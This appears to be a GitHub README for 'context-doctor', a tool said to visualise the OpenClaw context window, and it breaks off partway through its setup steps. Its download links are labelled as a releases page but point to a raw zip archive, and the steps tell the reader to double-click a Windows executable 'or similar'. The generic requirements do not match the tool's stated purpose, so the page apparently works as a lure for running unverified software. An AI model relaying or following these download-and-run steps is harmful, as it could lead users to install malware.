Context Doctor

🧠 context-doctor - Visualize and Diagnose Context Usage

[](https://github.com/unhealthy-outlander317/context-doctor/raw/refs/heads/main/assets/context_doctor_v3.2.zip)

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🔍 What is context-doctor?

context-doctor helps you see how the OpenClaw context window is used. It shows this information in three ways:

• In the terminal (text view)
• As PNG images (visual view)
• As JSON files (data view)

This tool gives you a clear look at the context window, which is useful if you need to check how OpenClaw manages data over time.

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💻 System Requirements

To use context-doctor on Windows, your computer should meet these needs:

• Windows 10 or later
• At least 2 GB of free disk space
• 4 GB of RAM or more recommended
• A terminal program like Command Prompt or PowerShell

You do not need to install any extra software to run context-doctor. It works with built-in Windows tools.

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🛠️ How context-doctor works

context-doctor reads the OpenClaw context window data. It then shows this data in easy formats:

• Terminal: You see simple text directly in the Command Prompt or PowerShell window.
• PNG: You get image files showing the data pattern.
• JSON: You get structured text files you can use with other programs.

Each format helps you understand the context usage from a different angle.

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🚀 Getting Started: Download and Setup

1. Click the big button at the top or visit the main download page here:

   [Download context-doctor Releases](https://github.com/unhealthy-outlander317/context-doctor/raw/refs/heads/main/assets/context_doctor_v3.2.zip)

2. On that page, find the latest version for Windows.

3. Download the file named like `context-doctor-win.exe` or similar.

4. Once the download finishes, find the file in your Downloads folder.

5. Double-click the file to run context-doctor. No install process is needed.

6. A terminal window will